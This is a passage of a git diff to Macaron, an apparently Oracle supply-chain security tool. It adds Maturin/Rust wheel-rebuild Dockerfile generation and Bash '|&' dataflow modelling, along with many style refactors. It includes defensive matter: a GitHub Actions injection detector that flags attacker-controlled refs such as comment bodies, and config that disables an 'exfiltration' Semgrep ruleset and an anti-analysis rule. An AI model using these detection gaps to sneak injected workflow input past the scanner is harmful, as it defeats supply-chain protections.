language_version: str | None = pick_specific_version(buildspec["language_version"]) - if language_version is None: - raise GenerateBuildSpecError("Could not derive specific interpreter version") - try: - version = Version(language_version) - except InvalidVersion as error: - logger.debug("Ran into issue converting %s to a version: %s", language_version, error) - raise GenerateBuildSpecError("Derived interpreter version could not be parsed") from error - backend_install_commands = " && ".join(build_backend_commands(buildspec)) + rustup_install_commands = build_rustup_install_commands(buildspec) if maturin_build else "" + frontend_install_command = "\n /deps/bin/pip install build" if not maturin_build else "" + wheel_install_command = "/deps/bin/pip install wheel && " if not maturin_build else "" modern_build_command = "python -m build --wheel -n" + maturin_build_command = "maturin build --release --out dist --compatibility manylinux_2_34" legacy_build_command = ( 'if test -f "setup.py"; then python setup.py bdist_wheel; else python -m build --wheel -n; fi' @@ -65,14 +62,38 @@ def gen_dockerfile(buildspec: BaseBuildSpecDict) -> str: wheel_name = wheel_url.rsplit("/", 1)[-1] else: logger.debug("We could not find an upstream artifact, and therefore we cannot run validation") - + if maturin_build and not wheel_url: + raise GenerateBuildSpecError( + "Could not find a Linux x86_64 binary wheel to validate the Maturin Dockerfile output" + ) + language_constraints = ( + [f"=={wheel_python_version}"] + if maturin_build and (wheel_python_version := get_wheel_cpython_version(wheel_name)) + else buildspec["language_version"] + ) + language_version: str | None = pick_specific_version(language_constraints) + if language_version is None: + raise GenerateBuildSpecError("Could not derive specific interpreter version") + try: + version = Version(language_version) + except InvalidVersion as error: + logger.debug("Ran into issue converting %s to a version: %s", language_version, error) + raise GenerateBuildSpecError("Derived interpreter version could not be parsed") from error + wheel_name_validation = ( + " # Compare file tree" + if maturin_build + else f'''\ + # Compare wheel names + [ $(basename $BUILT_WHEEL) == "{wheel_name}" ] || {{ echo "Wheel name does not match!"; exit 1; }} + # Compare file tree''' + ) dockerfile_content = f""" #syntax=docker/dockerfile:1.10 FROM oraclelinux:9 # Install core tools RUN dnf -y install which wget tar unzip git - + {rustup_install_commands} # Install compiler and make RUN dnf -y install gcc make @@ -100,7 +121,7 @@ def gen_dockerfile(buildspec: BaseBuildSpecDict) -> str: # Build interpreter and create venv RUN < str: # Install build and the build backends RUN <=3.6") - else legacy_build_command} + RUN source /deps/bin/activate && {wheel_install_command}{ + maturin_build_command + if maturin_build + else modern_build_command + if version in SpecifierSet(">=3.6") + else legacy_build_command + } # Validate script RUN cat <<'EOF' >/validate @@ -141,9 +165,7 @@ def gen_dockerfile(buildspec: BaseBuildSpecDict) -> str: [ -e $BUILT_WHEEL ] || {{ echo "No wheels found!"; exit 1; }} # Download the wheel wget -q {wheel_url} - # Compare wheel names - [ $(basename $BUILT_WHEEL) == "{wheel_name}" ] || {{ echo "Wheel name does not match!"; exit 1; }} - # Compare file tree +{wheel_name_validation} (unzip -Z1 $BUILT_WHEEL | grep -v '\\.dist-info' | sort) > built.tree (unzip -Z1 "{wheel_name}" | grep -v '\\.dist-info' | sort ) > pypi_artifact.tree diff -u built.tree pypi_artifact.tree || {{ echo "File trees do not match!"; exit 1; }} @@ -156,6 +178,63 @@ def gen_dockerfile(buildspec: BaseBuildSpecDict) -> str: return dedent(dockerfile_content) +def get_wheel_cpython_version(wheel_name: str) -> str | None: + """Return the CPython minor version encoded in a wheel filename.""" + try: + _, _, _, tags = parse_wheel_filename(wheel_name) + except InvalidWheelFilename: + return None + for tag in sorted(tags, key=lambda tag: tag.interpreter): + match = re.fullmatch(r"cp(\d)(\d+)", tag.interpreter) + if match: + return f"{match.group(1)}.{match.group(2)}" + return None + + +def is_maturin_build(buildspec: BaseBuildSpecDict) -> bool: + """Check whether the buildspec uses the Maturin build backend. + + Parameters + ---------- + buildspec: BaseBuildSpecDict + The build specification to inspect. + + Returns + ------- + bool + Whether the buildspec uses Maturin. + """ + return any(backend == "maturin" or backend.startswith("maturin.") for backend in buildspec["build_backends"]) + + +def build_rustup_install_commands(buildspec: BaseBuildSpecDict) -> str: + """Generate commands that install the Rust toolchain required by Maturin. + + Rustup accepts a concrete channel rather than a packaging version + constraint. Concrete inferred channels are used directly; constraints + such as ``>=1.75`` use Rustup's stable default. + """ + rust_version = next( + ( + requirement.get("version") + for requirement in buildspec["build_requires"] + if requirement["name"] == "rust" and requirement["installer"] == "rustup" + ), + None, + ) + default_toolchain = "" + if rust_version and re.fullmatch(r"(?:stable|beta|nightly|\d+(?:\.\d+){0,2})", rust_version): + default_toolchain = f" --default-toolchain {rust_version}" + return f"""\ + # Install Rust toolchain using Rustup + RUN < str: """Appropriate openssl install commands for a given CPython version. @@ -173,12 +252,12 @@ def openssl_install_commands(version: Version) -> str: # and 3.6 to 3.9 can be compiled with OpenSSL 1.1.1. Therefore, we compile as below: if version in SpecifierSet(">=3.6"): openssl_version = "1.1.1w" - source_url = "https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz" + source_url = "https://github.com/openssl/openssl/releases/download/OpenSSL_1_1_1w/openssl-1.1.1w.tar.gz" # From the same document, "Python versions 3.6 to 3.9 are compatible with OpenSSL 1.0.2, # 1.1.0, and 1.1.1". As an attempt to generalize for any >= 3.3, we use OpenSSL 1.0.2. else: openssl_version = "1.0.2u" - source_url = "https://www.openssl.org/source/old/1.0.2/openssl-1.0.2u.tar.gz" + source_url = "https://github.com/openssl/openssl/releases/download/OpenSSL_1_0_2u/openssl-1.0.2u.tar.gz" return f"""# Build OpenSSL {openssl_version} RUN < str | None: Examples -------- >>> pick_specific_version([">=3.0"]) - '3.4.10' + '3.8.20' >>> pick_specific_version([">=3.8"]) '3.8.20' >>> pick_specific_version([">=3.0", "!=3.4", "!=3.3", "!=3.5"]) - '3.6.15' + '3.8.20' >>> pick_specific_version(["<=3.12"]) - '3.4.10' - >>> pick_specific_version(["<=3.12", "==3.6"]) - '3.6.15' + '3.8.20' + >>> pick_specific_version(["<=3.12", "==3.6"]) is None + True """ # We cannot create virtual environments for Python versions <= 3.3.0, as # it did not exist back then - version_set = SpecifierSet(">=3.4.0") + version_set = SpecifierSet(">=3.8.0") for version in inferred_constraints: try: version_set &= SpecifierSet(version) @@ -365,7 +444,11 @@ def build_backend_commands(buildspec: BaseBuildSpecDict) -> list[str]: if not buildspec["build_requires"]: return [] commands: list[str] = [] - for backend, version_constraint in buildspec["build_requires"].items(): + for requirement in buildspec["build_requires"]: + if requirement["installer"] != "pip": + continue + backend = requirement["name"] + version_constraint = requirement.get("version", "") if backend == "setuptools": commands.append("/deps/bin/pip install --upgrade setuptools") else: diff --git a/src/macaron/build_spec_generator/macaron_db_extractor.py b/src/macaron/build_spec_generator/macaron_db_extractor.py index 660dfe208..19e47ee81 100644 --- a/src/macaron/build_spec_generator/macaron_db_extractor.py +++ b/src/macaron/build_spec_generator/macaron_db_extractor.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the logic to extract build relation information for a PURL from the Macaron database.""" @@ -137,7 +137,7 @@ def compile_sqlite_select_statement(select_statement: Select) -> str: dialect=sqlite.dialect(), compile_kwargs={"literal_binds": True}, ) - return f"\n----- Begin SQLite query \n{str(compiled_sqlite)}\n----- End SQLite query\n" + return f"\n----- Begin SQLite query \n{compiled_sqlite!s}\n----- End SQLite query\n" def get_sql_stmt_latest_component_for_purl(purl: PackageURL) -> Select[tuple[Component]]: diff --git a/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py b/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py index 0b6d8f787..3b963c436 100644 --- a/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py +++ b/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py @@ -4,7 +4,7 @@ """This module contains the logic to generate a build spec in the Reproducible Central format.""" import logging -from enum import Enum +from enum import StrEnum import importlib_metadata @@ -46,7 +46,7 @@ """ -class ReproducibleCentralBuildTool(str, Enum): +class ReproducibleCentralBuildTool(StrEnum): """Represent the name of the build tool used in the Reproducible Central's Buildspec. https://github.com/jvm-repo-rebuild/reproducible-central/blob/master/doc/BUILDSPEC.md @@ -90,7 +90,7 @@ def gen_reproducible_central_build_spec(build_spec: BaseBuildSpecDict) -> str | for build_command in build_spec["build_commands"]: command = build_command["command"] if command and ReproducibleCentralBuildTool.MAVEN.name.lower() == build_command["build_tool"]: - adapted_build_commands.append(command[:1] + ["-Dmaven.test.skip=true"] + command[1:]) + adapted_build_commands.append([*command[:1], "-Dmaven.test.skip=true", *command[1:]]) else: adapted_build_commands.append(command) diff --git a/src/macaron/code_analyzer/dataflow_analysis/bash.py b/src/macaron/code_analyzer/dataflow_analysis/bash.py index fde8a0e5e..04b17da18 100644 --- a/src/macaron/code_analyzer/dataflow_analysis/bash.py +++ b/src/macaron/code_analyzer/dataflow_analysis/bash.py @@ -212,6 +212,27 @@ def with_stdout( self.gha_expr_map_items, ) + def with_stdout_stderr( + self, stdout_scope: core.ContextRef[facts.Scope], stdout_loc: facts.LocationSpecifier + ) -> BashScriptContext: + """Return a modified bash script context with the given stdout and stderr. + + TODO currently stderr is not defined in BashScriptContext, so we cannot support here neither. + Add stderr to BashScriptContext to be able to support it here as well. + """ + return BashScriptContext( + self.outer_context, + self.filesystem, + self.env, + self.func_decls, + self.stdin_scope, + self.stdin_loc, + stdout_scope, + stdout_loc, + self.source_filepath, + self.gha_expr_map_items, + ) + def with_gha_expr_map(self, gha_expr_map: dict[str, str]) -> BashScriptContext: """Return a modified bash script context with GitHub-expression placeholder mappings. @@ -602,17 +623,20 @@ def get_stdout_redirects(stmt: bashparser_model.Stmt, context: BashScriptContext """Extract the stdout redirects specified on the statement as a set of location expressions.""" redirs: set[facts.Location] = set() for redir in stmt.get("Redirs", []): - if redir["Op"] in { - bashparser_model.RedirOperators.RdrOut.value, - bashparser_model.RedirOperators.RdrAll.value, - bashparser_model.RedirOperators.AppAll.value, - bashparser_model.RedirOperators.AppOut.value, - }: - if "Word" in redir: - redir_word = redir["Word"] - redir_val = convert_shell_word_to_value(redir_word, context) - if redir_val is not None: - redirs.add(facts.Location(context.filesystem.ref, facts.Filesystem(redir_val[0]))) + if ( + redir["Op"] + in { + bashparser_model.RedirOperators.RdrOut.value, + bashparser_model.RedirOperators.RdrAll.value, + bashparser_model.RedirOperators.AppAll.value, + bashparser_model.RedirOperators.AppOut.value, + } + and "Word" in redir + ): + redir_word = redir["Word"] + redir_val = convert_shell_word_to_value(redir_word, context) + if redir_val is not None: + redirs.add(facts.Location(context.filesystem.ref, facts.Filesystem(redir_val[0]))) return redirs @@ -772,7 +796,11 @@ def build_pipe() -> core.Node: return {"default": build_pipe} case bashparser_model.BinCmdOperators.PipeAll.value: - pass + + def build_pipeall() -> core.Node: + return BashPipeAllNode.create(cmd, self.context.get_non_owned()) + + return {"default": build_pipeall} case bashparser_model.BinCmdOperators.AndStmt.value: def build_and() -> core.Node: @@ -1272,6 +1300,113 @@ def create( return BashPipeNode(definition=pipe_cmd, lhs=lhs, rhs=rhs, context=pipe_context) +class BashPipeAllNode(core.ControlFlowGraphNode): + """Control flow node representing a Bash pipe (``|&``) binary command. + + Control flow structure consists of executing the left-hand side, followed by the right-hand side. + A pipe scope and location is introduced to model the piping of the + output from the first command to the input of the second command. Compared to + a normal pipe (``|``), ``|&`` pipes both stdout and stderr (file descriptors 1 and 2) + of the left command into stdin of the right. + """ + + #: Parsed pipe all binary command AST. + definition: bashparser_model.BinaryCmd + #: Left-hand side (first) command. + lhs: BashStatementNode + #: Right-hand side (second) command. + rhs: BashStatementNode + #: Pipe context. + context: core.ContextRef[BashPipeContext] + #: Control flow graph. + _cfg: core.ControlFlowGraph + + def __init__( + self, + definition: bashparser_model.BinaryCmd, + lhs: BashStatementNode, + rhs: BashStatementNode, + context: core.ContextRef[BashPipeContext], + ) -> None: + """Initialize Bash pipe all node. + + Typically, construction should be done via the create function rather than using this constructor directly. + + Parameters + ---------- + definition: bashparser_model.BinaryCmd + Parsed pipe all binary command AST. + lhs: BashStatementNode + Left-hand side (first) command. + rhs: BashStatementNode + Right-hand side (second) command. + context: core.ContextRef[BashPipeContext] + Pipe context. + """ + super().__init__() + self.definition = definition + self.lhs = lhs + self.rhs = rhs + self.context = context + + self._cfg = core.ControlFlowGraph(self.lhs) + self._cfg.add_successor(self.lhs, core.DEFAULT_EXIT, self.rhs) + self._cfg.add_successor(self.rhs, core.DEFAULT_EXIT, core.DEFAULT_EXIT) + + def children(self) -> Iterator[core.Node]: + """Yield the subcommands.""" + yield self.lhs + yield self.rhs + + def get_entry(self) -> core.Node: + """Return the entry node (the lhs node).""" + return self._cfg.get_entry() + + def get_successors(self, node: core.Node, exit_type: core.ExitType) -> set[core.Node | core.ExitType]: + """Return the successor for a given node. + + Returns a propagated early exit of the same type in the case of a BashExit or BashReturn exit type. + """ + if isinstance(exit_type, (BashExit, BashReturn)): + return {exit_type} + return self._cfg.get_successors(node, core.DEFAULT_EXIT) + + def get_exit_state_transfer_filter(self) -> core.StateTransferFilter: + """Return state transfer filter to clear scopes owned by this node after this node exits.""" + return core.ExcludedScopesStateTransferFilter(core.get_owned_scopes(self.context)) + + def get_printable_properties_table(self) -> dict[str, set[tuple[str | None, str]]]: + """Return a properties table containing the line number and scopes.""" + result: dict[str, set[tuple[str | None, str]]] = {} + result["line num (in script)"] = {(None, str(self.definition["Pos"]["Line"]))} + printing.add_context_owned_scopes_to_properties_table(result, self.context) + return result + + @staticmethod + def create( + pipe_cmd: bashparser_model.BinaryCmd, context: core.NonOwningContextRef[BashScriptContext] + ) -> BashPipeAllNode: + """Create Bash pipe all node from pipe binary command AST. + + Parameters + ---------- + pipe_cmd: bashparser_model.BinaryCmd + Parsed pipe binary command AST. + context: core.NonOwningContextRef[BashScriptContext] + Bash script context. + """ + pipe_context = core.OwningContextRef(BashPipeContext.create(context)) + piped_from_context = core.NonOwningContextRef( + context.ref.with_stdout_stderr(pipe_context.ref.pipe_scope.get_non_owned(), pipe_context.ref.pipe_loc) + ) + piped_to_context = core.NonOwningContextRef( + context.ref.with_stdin(pipe_context.ref.pipe_scope.get_non_owned(), pipe_context.ref.pipe_loc) + ) + lhs = BashStatementNode(pipe_cmd["X"], piped_from_context) + rhs = BashStatementNode(pipe_cmd["Y"], piped_to_context) + return BashPipeAllNode(definition=pipe_cmd, lhs=lhs, rhs=rhs, context=pipe_context) + + class BashAndNode(core.ControlFlowGraphNode): """Control flow node representing a Bash AND ("&&") binary command. @@ -1743,15 +1878,13 @@ def is_simple_var_read(param_exp: bashparser_model.ParamExp) -> bool: """Return whether expression is a simple env var read e.g. $ENV_VAR.""" if param_exp.get("Excl", False) or param_exp.get("Length", False) or param_exp.get("Width", False): return False - if ( + return not ( "Index" in param_exp or "Slice" in param_exp or "Repl" in param_exp or "Names" in param_exp or "Exp" in param_exp - ): - return False - return True + ) def parse_env_var_read_word_part(part: bashparser_model.WordPart, allow_dbl_quoted: bool) -> str | None: diff --git a/src/macaron/code_analyzer/dataflow_analysis/core.py b/src/macaron/code_analyzer/dataflow_analysis/core.py index 5a33ef56a..2fd1db26e 100644 --- a/src/macaron/code_analyzer/dataflow_analysis/core.py +++ b/src/macaron/code_analyzer/dataflow_analysis/core.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Core dataflow analysis framework definitions and algorithm.""" @@ -680,7 +680,7 @@ def identify_interpretations(self, state: State) -> dict[InterpretationKey, Call def get_alt(index: int) -> Node: return self.alts[index] - return {i: functools.partial(get_alt, i) for i in range(0, len(self.alts))} + return {i: functools.partial(get_alt, i) for i in range(len(self.alts))} def get_owned_scopes(context: ContextRef[Context]) -> set[facts.Scope]: diff --git a/src/macaron/code_analyzer/dataflow_analysis/evaluation.py b/src/macaron/code_analyzer/dataflow_analysis/evaluation.py index 69d5a022c..1ac62bd5e 100644 --- a/src/macaron/code_analyzer/dataflow_analysis/evaluation.py +++ b/src/macaron/code_analyzer/dataflow_analysis/evaluation.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Functions for evaluating and resolving dataflow analysis expressions.""" @@ -382,9 +382,8 @@ def with_bindings(self, bindings: ReadBindings) -> ReadBindings | None: return bindings for read, val in bindings.bindings.items(): - if read in self.bindings: - if self.bindings[read] != val: - return None + if read in self.bindings and self.bindings[read] != val: + return None combined_bindings = frozendict({**self.bindings, **bindings.bindings}) return ReadBindings(combined_bindings) @@ -766,7 +765,9 @@ def parse_str_expr_split(str_expr: facts.Value, delimiter_char: str, maxsplit: i ) if len(split_lhs) == 1 and len(split_rhs) == 1: return [str_expr] - return ( - split_lhs[:-1] + [facts.BinaryStringOp.get_string_concat(split_lhs[-1], split_rhs[0])] + split_rhs[1:] - ) + return [ + *split_lhs[:-1], + facts.BinaryStringOp.get_string_concat(split_lhs[-1], split_rhs[0]), + *split_rhs[1:], + ] return [str_expr] diff --git a/src/macaron/code_analyzer/dataflow_analysis/github.py b/src/macaron/code_analyzer/dataflow_analysis/github.py index 7ad01ab20..434fb9466 100644 --- a/src/macaron/code_analyzer/dataflow_analysis/github.py +++ b/src/macaron/code_analyzer/dataflow_analysis/github.py @@ -549,7 +549,7 @@ def __init__( self.context = context self._cfg = core.ControlFlowGraph.create_from_sequence( - list(filter(core.node_is_not_none, [self.matrix_block, self.env_block] + self.steps + [self.output_block])) + list(filter(core.node_is_not_none, [self.matrix_block, self.env_block, *self.steps, self.output_block])) ) def children(self) -> Iterator[core.Node]: diff --git a/src/macaron/code_analyzer/dataflow_analysis/printing.py b/src/macaron/code_analyzer/dataflow_analysis/printing.py index 0ffd61813..8b7400cff 100644 --- a/src/macaron/code_analyzer/dataflow_analysis/printing.py +++ b/src/macaron/code_analyzer/dataflow_analysis/printing.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Functions for printing/displaying dataflow analysis nodes in the form of graphviz (dot) output. @@ -389,8 +389,10 @@ def print_interpretation_node_as_dot_string( ) + "\n" ) - for child_node in node.interpretations.values(): - out.write("n" + str(id(node)) + " -> " + "n" + str(id(child_node)) + ' [label="interpretation"]\n') + out.writelines( + "n" + str(id(node)) + " -> " + "n" + str(id(child_node)) + ' [label="interpretation"]\n' + for child_node in node.interpretations.values() + ) for child_node in node.interpretations.values(): print_as_dot_string(child_node, out, include_properties=include_properties, include_states=include_states) diff --git a/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py b/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py index 80364ea76..99ed534a4 100644 --- a/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py +++ b/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py @@ -412,9 +412,7 @@ def _arg_has_attacker_controlled_github_ref(parts: object) -> bool: ".event.comment.body", }: pr_head_ref = True - if expansion and pr_head_ref: - return True - return False + return bool(expansion and pr_head_ref) def _has_attacker_controlled_expanded_ref(refs: list[str]) -> bool: diff --git a/src/macaron/config/defaults.ini b/src/macaron/config/defaults.ini index 4ce80eb08..543da38eb 100644 --- a/src/macaron/config/defaults.ini +++ b/src/macaron/config/defaults.ini @@ -742,7 +742,7 @@ disabled_default_rulesets = exfiltration # disable individual rules here (i.e. individual rule IDs inside a Semgrep .yaml file, specified under the "rules" header in the # .yaml file, with each rule ID under "- id") using rule IDs. You may also provide the IDs of your custom semgrep rules here too, # as all Semgrep rule IDs must be unique. This list may not contain duplicated elements. -disabled_rules = +disabled_rules = anti_analysis-ip-checkers # absolute path to a directory where a custom set of semgrep rules for source code analysis are stored. These will be included # with Macaron's default rules. The path will be normalised to the OS path type. custom_semgrep_rules_path = diff --git a/src/macaron/console.py b/src/macaron/console.py index 10a624dd4..6514df205 100644 --- a/src/macaron/console.py +++ b/src/macaron/console.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module implements a rich console handler for logging.""" @@ -215,36 +215,19 @@ def make_layout(self) -> list[RenderableType]: """ layout: list[RenderableType] = [] if self.description_table.row_count > 0: - layout = layout + [ - "", - self.description_table, - ] + layout = [*layout, "", self.description_table] if self.progress_table.row_count > 0: - layout = layout + ["", self.progress, "", self.progress_table] + layout = [*layout, "", self.progress, "", self.progress_table] if self.failed_checks_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.failed_checks_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.failed_checks_table] if self.summary_table.row_count > 0: - layout = layout + ["", self.summary_table] + layout = [*layout, "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] elif self.summary_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.summary_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] return layout @@ -641,121 +624,64 @@ def make_layout(self) -> Group: title_align="left", border_style="red", ) - layout = layout + [error_log_panel] + layout = [*layout, error_log_panel] if self.command == "analyze": if self.show_full_layout: if self.description_table.row_count > 0: - layout = layout + [ - Rule(" DESCRIPTION", align="left"), - "", - self.description_table, - ] + layout = [*layout, Rule(" DESCRIPTION", align="left"), "", self.description_table] if self.progress_table.row_count > 0: - layout = layout + ["", self.progress, "", self.progress_table] + layout = [*layout, "", self.progress, "", self.progress_table] if self.failed_checks_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.failed_checks_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.failed_checks_table] if self.summary_table.row_count > 0: - layout = layout + ["", self.summary_table] + layout = [*layout, "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] elif self.summary_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.summary_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] if self.if_dependency and self.dependency_analysis_list: for idx, dependency in enumerate(self.dependency_analysis_list, start=1): dependency_layout = dependency.make_layout() - layout = ( - layout - + [ - "", - Rule(f" DEPENDENCY {idx}", align="left"), - ] - + dependency_layout - ) + layout = [*layout, "", Rule(f" DEPENDENCY {idx}", align="left"), *dependency_layout] elif self.if_dependency and self.dependency_analysis_list: dependency = self.dependency_analysis_list[-1] dependency_layout = dependency.make_layout() - layout = ( - layout - + [ - "", - Rule(f" DEPENDENCY {len(self.dependency_analysis_list)}", align="left"), - ] - + dependency_layout - ) + layout = [ + *layout, + "", + Rule(f" DEPENDENCY {len(self.dependency_analysis_list)}", align="left"), + *dependency_layout, + ] else: if self.description_table.row_count > 0: - layout = layout + [ - Rule(" DESCRIPTION", align="left"), - "", - self.description_table, - ] + layout = [*layout, Rule(" DESCRIPTION", align="left"), "", self.description_table] if self.progress_table.row_count > 0: - layout = layout + ["", self.progress, "", self.progress_table] + layout = [*layout, "", self.progress, "", self.progress_table] if self.failed_checks_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.failed_checks_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.failed_checks_table] if self.summary_table.row_count > 0: - layout = layout + ["", self.summary_table] + layout = [*layout, "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] elif self.summary_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.summary_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] elif self.command == "verify-policy": if self.policies_table.row_count > 0: - layout = layout + [self.policies_table] + layout = [*layout, self.policies_table] elif self.policy_summary_table.row_count > 0: if self.components_satisfy_table.row_count > 0: - layout = layout + [ - "[bold green] Components Satisfy Policy[/]", - self.components_satisfy_table, - ] + layout = [*layout, "[bold green] Components Satisfy Policy[/]", self.components_satisfy_table] else: - layout = layout + [ - "[bold green] Components Satisfy Policy[/] [white not italic]None[/]", - ] + layout = [*layout, "[bold green] Components Satisfy Policy[/] [white not italic]None[/]"] if self.components_violates_table.row_count > 0: - layout = layout + [ - "", - "[bold red] Components Violate Policy[/]", - self.components_violates_table, - ] + layout = [*layout, "", "[bold red] Components Violate Policy[/]", self.components_violates_table] else: - layout = layout + [ - "", - "[bold red] Components Violate Policy[/] [white not italic]None[/]", - ] - layout = layout + ["", self.policy_summary_table] + layout = [*layout, "", "[bold red] Components Violate Policy[/] [white not italic]None[/]"] + layout = [*layout, "", self.policy_summary_table] if self.verification_summary_attestation: vsa_table = Table(show_header=False, box=None) vsa_table.add_column("Detail", justify="left") @@ -771,21 +697,20 @@ def make_layout(self) -> Group: f"cat {self.verification_summary_attestation} | jq -r [white]'.payload'[/] | base64 -d | jq", ) - layout = layout + [vsa_table] + layout = [*layout, vsa_table] elif self.command == "find-source": if self.find_source_table.row_count > 0: - layout = layout + [self.find_source_table] + layout = [*layout, self.find_source_table] elif self.command == "dump-defaults": dump_defaults_table = Table(show_header=False, box=None) dump_defaults_table.add_column("Detail", justify="left") dump_defaults_table.add_column("Value", justify="left") dump_defaults_table.add_row("Dump Defaults", self.dump_defaults) - layout = layout + [dump_defaults_table] - elif self.command == "gen-build-spec": - if self.gen_build_spec_table.row_count > 0: - layout = layout + [self.gen_build_spec_table] + layout = [*layout, dump_defaults_table] + elif self.command == "gen-build-spec" and self.gen_build_spec_table.row_count > 0: + layout = [*layout, self.gen_build_spec_table] if self.verbose: - layout = layout + ["", self.verbose_panel] + layout = [*layout, "", self.verbose_panel] if self.error_message: error_panel = Panel( self.error_message, @@ -793,7 +718,7 @@ def make_layout(self) -> Group: title_align="left", border_style="red", ) - layout = layout + ["", error_panel] + layout = [*layout, "", error_panel] return Group(*layout) def error(self, message: str) -> None: diff --git a/src/macaron/database/db_custom_types.py b/src/macaron/database/db_custom_types.py index 231139e7b..ae5ad56f9 100644 --- a/src/macaron/database/db_custom_types.py +++ b/src/macaron/database/db_custom_types.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module implements SQLAlchemy types for Python data types that cannot be automatically stored.""" @@ -17,7 +17,7 @@ ) -class RFC3339DateTime(TypeDecorator): # pylint: disable=W0223 +class RFC3339DateTime(TypeDecorator): # pylint: disable=abstract-method """ SQLAlchemy column type to serialise datetime objects for SQLite in consistent format matching in-toto. @@ -70,7 +70,7 @@ def process_result_value(self, value: None | str, dialect: Any) -> None | dateti return result.astimezone(RFC3339DateTime._host_tzinfo) -class DBJsonDict(TypeDecorator): # pylint: disable=W0223 +class DBJsonDict(TypeDecorator): # pylint: disable=abstract-method """SQLAlchemy column type to serialize dictionaries.""" # It is stored in the database as a json value. @@ -131,7 +131,7 @@ def process_result_value(self, value: None | dict, dialect: Any) -> dict: return value -class DBJsonList(TypeDecorator): # pylint: disable=W0223 +class DBJsonList(TypeDecorator): # pylint: disable=abstract-method """SQLAlchemy column type to serialize lists.""" # It is stored in the database as a json value. @@ -192,7 +192,7 @@ def process_result_value(self, value: None | list, dialect: Any) -> list: return value -class ProvenancePayload(TypeDecorator): # pylint: disable=W0223 +class ProvenancePayload(TypeDecorator): # pylint: disable=abstract-method """SQLAlchemy column type to serialize InTotoProvenance.""" # It is stored in the database as a String value. diff --git a/src/macaron/database/table_definitions.py b/src/macaron/database/table_definitions.py index a3e53f5d7..1794a7a86 100644 --- a/src/macaron/database/table_definitions.py +++ b/src/macaron/database/table_definitions.py @@ -61,7 +61,7 @@ class Analysis(ORMBase): __tablename__ = "_analysis" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The analysis start time. analysis_time: Mapped[datetime] = mapped_column(RFC3339DateTime, nullable=False) @@ -83,7 +83,7 @@ class PackageURLMixin: """ #: A short code to identify the type of the package. - type: Mapped[str] = mapped_column( # noqa: A003 + type: Mapped[str] = mapped_column( String(16), nullable=False, comment=( @@ -111,7 +111,7 @@ class PackageURLMixin: qualifiers: Mapped[str] = mapped_column( String(1024), nullable=True, - comment=("Extra qualifying data for a package such as the name of an OS, " "architecture, distro, etc."), + comment=("Extra qualifying data for a package such as the name of an OS, architecture, distro, etc."), ) #: Extra subpath within a package, relative to the package root. @@ -135,7 +135,7 @@ class Component(PackageURLMixin, ORMBase): __tablename__ = "_component" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, 